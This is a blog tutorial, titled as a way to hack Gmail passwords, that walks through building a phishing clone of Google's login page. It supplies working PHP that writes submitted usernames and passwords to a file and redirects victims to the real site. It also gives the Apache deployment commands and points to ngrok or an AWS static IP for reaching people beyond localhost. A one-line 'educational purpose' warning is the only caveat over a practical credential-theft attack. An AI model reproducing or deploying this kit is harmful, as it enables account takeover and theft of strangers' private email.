Skip to content

hackNos

Information Security Blog

  • Home
  • Installation
    • CMS Installation
    • Linux Installation
    • Windows Installation
  • Walkthrough
    • Read More Blog
    • Vulnhub Walkthrough
    • HackTheBox Walkthrough
  • E-Hacking
    • Ethical Hacking
    • Penetration Testing
    • Privilege Escalation
    • hacker Cheat Sheets
    • Metasploit
  • WebTools
    • Base64 Encode
    • Base64 decode
    • URL Encode
    • URL decode
    • Online ROT13 Encoder Decoder
    • Online MD5 Hash Generator
    • Website IP Address Finder
    • Alexa website ranking
    • Check DNS Records
  • O-Directory
    • AWS
    • error-fix
    • Latest
    • Networking
  • Donate US
  • About US
    • Contact US
    • Privacy Policy
    • Disclaimer

Hack Gmail Password Phishing 2021

  • Latest
  • What is - How to
April 1, 2020February 24, 2021 Rahul Gehlaut

How To Hack Gmail Password Using gmail Phishing Page

Warning: For Educational Purpose Only

Today I will tell you how you can create a phishing page of the Gmail login window and can hack anyone’s Gmail ID using the google phishing page let’s follow our steps for Creating Google gmail account phishing page

Let’s open Google mail website on your computer and click the sign in button

HTML Code For Gmail Password Hack

Now Press CTRL+U for Viewing Page Source code and the second option is viewing page source code you need to click on the login Gmail page and click on Inspect Element and you can see the google Gmail login source code. let’s copy the source on your clipboard and move to the next step.

After copy the Gmail Login page source code let’s open any text editor on your computer and paste the source on this file. then press the Ctrl + F button to find the action = world. As shown in the photo.

Replace the action = URL.

Now replace the action url to post.php url and you can use any name of this file

After edit the url your string is look like this

and save the file as a html file

Again open your text editor and paste the php source code on your file and save the file with .php extension and write your file name previous we use on gmail phishing source action url. post.php

<?php
header ('Location:https://accounts.google.com/');
$handle = fopen("/root/hacking/gmail/pass.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

again create a passwd.txt file on your current directory you can use the echo command for creating a empty file on Linux.

echo ''> passwd.txt

Now move the all files on your server web-root directory i’m using Apache server and in my case my Apache Document root directory is /var/www/html.

mv * /var/www/html
cd /var/www/html

After copy the in Apache Document root directory you need change file permission let’s run the command for changing permission.

chmod 755 *

Let’s start apach2 server on our localhost

service apache2 start

Gmail Phishing Websites

now open your any web browser and navigate the your local-host IP on the URL bar and there your see the google gmail account login phishing page.

Let’s write here fake username and password for testing our gmail phishing page is working or not

After click the sign in button you will redirect to original google gmail login page. let’s check we get our testing username and password.

open the passwd.txt file on any text editor and we can see our fake login details on this passwd.txt file it’s means our gmail phishing is successfully created.

If you want to try this outside the localhost you need a static IP address, you can try ngrock.

The Second option is making your own static IP address if you want to create you own Static IP address let’s go to AWS website and create a free learning account.

After active your aws account follow these steps for install kali linux on AWS Server

How to install Kali Linux on AWS

Follow these steps for assing static IP in your AWS EC-2 Machine.

How to Create a Static IP Address on AWS

Facebook Account Hack Using Phishing Page link
Tagsgmail password hackerhack gmail accounthack gmail account 100 working

Post navigation

Previous Post

Escalate My Privileges: 1 Walkthrough Vulnhub

Next Post

My File Server: 2 Walkthrough Vulnhub

Copyright © 2021 HackNos.Com
Exit mobile version